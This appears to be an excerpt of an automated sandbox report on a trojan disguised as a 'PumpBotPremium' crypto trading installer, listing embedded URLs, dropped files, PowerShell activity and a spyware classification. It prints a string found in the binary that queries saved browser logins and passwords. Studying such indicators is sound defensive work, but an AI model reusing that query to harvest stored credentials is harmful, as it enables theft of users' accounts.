              Source: BlockchainConnector.exe, 00000007.00000003.1893567877.0000019A0D397000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000003.1894671378.0000019A0D394000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1905833021.0000019A0D395000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://personal.math.ubc.ca/~cbm/aands/page_79.htm
              Source: BlockchainConnector.exe, 00000007.00000003.1894671378.0000019A0D394000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1905833021.0000019A0D395000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://personal.math.ubc.ca/~cbm/aands/page_83.htm
              Source: BlockchainConnector.exe, 00000007.00000003.1893567877.0000019A0D397000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D64F000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://personal.math.ubc.ca/~cbm/aands/page_86.htm
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://pjreddie.com/darknet/
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://pjreddie.com/darknet/)
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://pyopenssl.org/
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://pyopenssl.org/a__uri__uPython
              Source: BlockchainConnector.exe, 00000007.00000002.1907183150.0000019A14380000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://pyperclip.readthedocs.io/en/latest/index.html#not-implemented-error
              Source: BlockchainConnector.exe, 00000007.00000002.1905482456.0000019A0CD30000.00000004.00001000.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1904081490.0000019A0BE63000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000003.1894339402.0000019A0BE61000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://requests.readthedocs.io
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D584000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://scipy-cookbook.readthedocs.io/items/Ctypes.html
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://software.intel.com/openvino-toolkit)
              Source: BlockchainConnector.exe, 00000007.00000002.1907079477.0000019A141E0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://stackoverflow.com/questions/18905702/python-ctypes-and-mutable-buffers
              Source: BlockchainConnector.exe, 00000007.00000002.1904176562.0000019A0BF30000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://stackoverflow.com/questions/4457745#4457745.
              Source: BlockchainConnector.exe, 00000007.00000002.1907079477.0000019A141E0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://stackoverflow.com/questions/455434/how-should-i-use-formatmessage-properly-in-c
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D5A3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://stat.ethz.ch/~stahel/lognormal/bioscience.pdf
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://static.aminer.org/pdf/PDF/000/317/196/spatio_temporal_wiener_filtering_of_image_sequences_us
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D78CC1000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://streams.videolan.org/upload/
              Source: BlockchainConnector.exe, 00000007.00000003.1894022452.0000019A0BED4000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1904141147.0000019A0BED9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tools.ietf.org/html/rfc2388#section-4.4
              Source: BlockchainConnector.exe, 00000007.00000003.1894585571.0000019A0C243000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1905706503.0000019A0D1B0000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000003.1894628577.0000019A0C246000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1904396374.0000019A0C247000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://tools.ietf.org/html/rfc3610
              Source: BlockchainConnector.exe, 00000007.00000002.1905324569.0000019A0CB6D000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmp, BlockchainConnector.exe, 00000007.00000002.1905706503.0000019A0D1F8000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000003.1893700605.0000019A0CB6D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://tools.ietf.org/html/rfc5297
              Source: BlockchainConnector.exe, 00000007.00000003.1894022452.0000019A0BED4000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1904035119.0000019A0BE30000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1904141147.0000019A0BED9000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://twitter.com/
              Source: BlockchainConnector.exe, 00000007.00000002.1904689424.0000019A0C530000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#https-proxy-error-http-proxy
              Source: BlockchainConnector.exe, 00000007.00000002.1904689424.0000019A0C530000.00000004.00001000.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1904607572.0000019A0C430000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#ssl-warnings
              Source: BlockchainConnector.exe, 00000007.00000002.1905407661.0000019A0CC30000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://urllib3.readthedocs.io/en/1.26.x/contrib.html#socks-proxies
              Source: BlockchainConnector.exe, 00000007.00000002.1904852848.0000019A0C730000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://urllib3.readthedocs.io/en/stable/v2-migration-guide.html
              Source: BlockchainConnector.exe, 00000007.00000003.1894257723.0000019A09F8E000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1903643435.0000019A09F91000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://w3c.github.io/html/sec-forms.html#multipart-form-data
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D485000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://web.archive.org/web/20080221202153/https://www.math.hmc.edu/~benjamin/papers/CombTrig.pdf
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D5A3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://web.archive.org/web/20090423014010/http://www.brighton-webs.co.uk:80/distributions/wald.asp
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D5A3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://web.archive.org/web/20090514091424/http://brighton-webs.co.uk:80/distributions/rayleigh.asp
              Source: BlockchainConnector.exe, 00000007.00000002.1906290521.0000019A0D65B000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmp, BlockchainConnector.exe, 00000007.00000003.1893898051.0000019A0D65B000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://web.archive.org/web/20120328125543/http://www.jpegcameras.com/libjpeg/libjpeg-3.html
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://web.archive.org/web/20170802060935/http://oss.sgi.com/projects/ogl-sample/registry/EXT/textu
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://www.cazabon.com
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://www.cazabon.com/pyCMS
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D5A3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.cs.hmc.edu/tr/hmc-cs-2014-0905.pdf
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://www.ibm.com/
              Source: BlockchainConnector.exe, 00000007.00000003.1893352229.0000019A0D26A000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1905706503.0000019A0D279000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://www.ietf.org/rfc/rfc2898.txt
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D5A3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.itl.nist.gov/div898/handbook/eda/section3/eda3663.htm
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D5A3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.itl.nist.gov/div898/handbook/eda/section3/eda3666.htm
              Source: BlockchainConnector.exe, 00000007.00000002.1906001116.0000019A0D5A3000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.itl.nist.gov/div898/software/dataplot/refman2/auxillar/powpdf.pdf
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.learnopencv.com/convex-hull-using-opencv-in-python-and-c/
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.learnopencv.com/convex-hull-using-opencv-in-python-and-c/copyMatAndDumpNamedArgumentsOOO
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://www.littlecms.com
              Source: BlockchainConnector.exe, 00000007.00000003.1893811664.0000019A0C2F1000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1904501910.0000019A0C2F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.mathworks.com/help/techdoc/ref/rank.html
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://www.mia.uni-saarland.de/Publications/gwosdek-ssvm11.pdf
              Source: BlockchainConnector.exe, 00000007.00000003.1893811664.0000019A0C2F1000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000002.1904501910.0000019A0C2F6000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.openblas.net/
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://www.openssl.org/docs/manmaster/man3/X509_VERIFY_PARAM_set_flags.html
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://www.openssl.org/docs/manmaster/man3/X509_verify_cert_error_string.html#ERROR-CODES
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://www.openssl.org/docs/manmaster/man5/
              Source: BlockchainConnector.exe, 00000007.00000002.1904081490.0000019A0BE63000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000003.1894339402.0000019A0BE61000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.python.org
              Source: BlockchainConnector.exe, 00000007.00000002.1905042748.0000019A0C93C000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000003.1894056234.0000019A0C938000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000003.1893415079.0000019A0C8AF000.00000004.00000020.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://www.python.org/
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmp, BlockchainConnector.exe, 00000007.00000002.1904607572.0000019A0C430000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.python.org/dev/peps/pep-0205/
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmp, BlockchainConnector.exe, 00000007.00000002.1906987998.0000019A13FC0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: https://www.python.org/dev/peps/pep-0506/
              Source: BlockchainConnector.exe, 00000007.00000002.1903874516.0000019A0BC30000.00000004.00001000.00020000.00000000.sdmp, BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://www.python.org/download/releases/2.3/mro/.
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.tensorflow.org/
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.tensorflow.org/)
              Source: BlockchainConnector.exe, 00000004.00000003.1829850821.0000022D7614D000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.tensorflow.org/lite
              Source: BlockchainConnector.exe, 00000007.00000000.1845014184.00007FF7A34E8000.00000002.00000001.01000000.00000006.sdmpString found in binary or memory: https://www.usenix.org/legacy/events/usenix99/provos/provos_html/node4.html
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07A7CCFBD28A674D95D3BF853C9007C6Jump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\86844F70250DD8EF225D6B4178798C21_44AD5D0C299F1D4EE038B125B5E5863AJump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77003E887FC21E505B9E28CBA30E18ED_8ACE642DC0A43382FABA7AE806561A50Jump to dropped file
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94D97B1EC1F43DD6ED4FE7AB95E144BC_939EA6CA157B394821E4828989A41A02Jump to dropped file
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_0021BD60 GetForegroundWindow,MessageBoxW,GetCurrentProcess,OpenProcessToken,CloseHandle,GetLastError,ExitWindowsEx,CloseHandle,3_2_0021BD60
              Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\5c7177.msiJump to behavior
              Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSI7B99.tmpJump to behavior
              Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSI7BF7.tmpJump to behavior
              Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSI7C27.tmpJump to behavior
              Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSI7C48.tmpJump to behavior
              Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSI7C87.tmpJump to behavior
              Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSI7CB7.tmpJump to behavior
              Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\inprogressinstallinfo.ipiJump to behavior
              Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\SourceHash{26BCD435-D353-42A0-8C43-818FC0FA354F}Jump to behavior
              Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSI7D93.tmpJump to behavior
              Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\5c717a.msiJump to behavior
              Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\5c717a.msiJump to behavior
              Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSI8554.tmpJump to behavior
              Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\Installer\MSI8CB8.tmpJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeFile created: C:\Windows\SystemTemp\AI_D021.tmpJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeFile created: C:\Windows\SystemTemp\AI_D021.ps1Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77003E887FC21E505B9E28CBA30E18ED_8ACE642DC0A43382FABA7AE806561A50Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77003E887FC21E505B9E28CBA30E18ED_8ACE642DC0A43382FABA7AE806561A50Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\86844F70250DD8EF225D6B4178798C21_44AD5D0C299F1D4EE038B125B5E5863AJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\86844F70250DD8EF225D6B4178798C21_44AD5D0C299F1D4EE038B125B5E5863AJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94D97B1EC1F43DD6ED4FE7AB95E144BC_939EA6CA157B394821E4828989A41A02Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94D97B1EC1F43DD6ED4FE7AB95E144BC_939EA6CA157B394821E4828989A41A02Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\07A7CCFBD28A674D95D3BF853C9007C6Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\07A7CCFBD28A674D95D3BF853C9007C6Jump to behavior
              Source: C:\Windows\System32\msiexec.exeFile deleted: C:\Windows\Installer\MSI7B99.tmpJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_0021A4503_2_0021A450
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_0021B3F03_2_0021B3F0
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_0024BFE03_2_0024BFE0
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_002860673_2_00286067
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_002980993_2_00298099
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_0021E2203_2_0021E220
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_0026C3303_2_0026C330
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_0028E34D3_2_0028E34D
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_002824103_2_00282410
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_0021E4703_2_0021E470
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_002766B03_2_002766B0
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_002116C03_2_002116C0
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_002629E03_2_002629E0
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_0023CA103_2_0023CA10
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_00276AB03_2_00276AB0
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_00266BA03_2_00266BA0
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_00276C603_2_00276C60
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_00270CE03_2_00270CE0
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_00274E303_2_00274E30
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_00274F503_2_00274F50
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_00272F903_2_00272F90
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_002730303_2_00273030
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_002910D93_2_002910D9
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_0028F26A3_2_0028F26A
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_002154103_2_00215410
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_0023B6503_2_0023B650
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_002616803_2_00261680
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_0023B7603_2_0023B760
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_002319203_2_00231920
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_0023F9603_2_0023F960
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_0026D9F03_2_0026D9F0
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_00277B303_2_00277B30
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_00285CD93_2_00285CD9
              Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_Salsa20.pyd E63D4123D894B61E0242D53813307FA1FF3B7B60818827520F7FF20CABCD8904
              Source: Joe Sandbox ViewDropped File: C:\Users\user\AppData\Local\Temp\onefile_7560_133747959131729392\Crypto\Cipher\_raw_aes.pyd C438DD66FA669430CCE11B2ACB7DC0EE72B7953B07013FDA6BF6B803C2C961F9
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: String function: 00215150 appears 64 times
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: String function: 00214E80 appears 65 times
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: String function: 0027D250 appears 54 times
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: String function: 00213540 appears 50 times
              Source: unicodedata.pyd.4.drStatic PE information: Resource name: RT_VERSION type: COM executable for DOS
              Source: BlockchainConnector.exe.2.drStatic PE information: Number of sections : 12 > 10
              Source: opencv_videoio_ffmpeg490_64.dll.4.drStatic PE information: Number of sections : 13 > 10
              Source: libopenblas.EL2C6PLE4ZYW3ECEVIV3OXXGRN2NRFM2.gfortran-win_amd64.dll.4.drStatic PE information: Number of sections : 19 > 10
              Source: cv2.pyd.4.drStatic PE information: Number of sections : 15 > 10
              Source: BlockchainConnector.exe.4.drStatic PE information: Number of sections : 12 > 10
              Source: python3.dll.4.drStatic PE information: No import functions for PE file found
              Source: qt5core.dll.4.drStatic PE information: Section: .qtmimed ZLIB complexity 0.997458770800317
              Source: classification engineClassification label: mal92.troj.spyw.evad.winMSI@28/152@1/1
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_002373A0 FormatMessageW,GetLastError,3_2_002373A0
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_00255AF0 GetDiskFreeSpaceExW,3_2_00255AF0
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_0025E870 CoCreateInstance,3_2_0025E870
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeCode function: 3_2_00230620 LoadLibraryExW,LoadLibraryExW,LoadLibraryExW,FindResourceW,LoadResource,SizeofResource,MultiByteToWideChar,FreeLibrary,3_2_00230620
              Source: C:\Windows\System32\msiexec.exeFile created: C:\Program Files (x86)\Coinsw.appJump to behavior
              Source: C:\Windows\SysWOW64\msiexec.exeFile created: C:\Users\user\AppData\Roaming\Coinsw.appJump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2504:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7580:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7112:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8000:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4948:120:WilError_03
              Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6212:120:WilError_03
              Source: C:\Windows\System32\msiexec.exeFile created: C:\Windows\TEMP\~DF47F5555B91963625.TMPJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeFile read: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.iniJump to behavior
              Source: C:\Users\user\AppData\Roaming\Coinsw.app\PumpBotPremium\prerequisites\aipackagechainer.exeKey opened: HKEY_USERSS-1-5-18\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
              Source: BlockchainConnector.exe, 00000007.00000002.1903874516.0000019A0BC30000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: SELECT action_url, username_value, password_value FROM logins;
              Source: PumpBotPremium.msiReversingLabs: Detection: 13%
              Source: unknownProcess created: C:\Windows\System32\msiexec.exe "C:\Windows\System32\msiexec.exe" /i "C:\Users\user\Desktop\PumpBotPremium.msi"
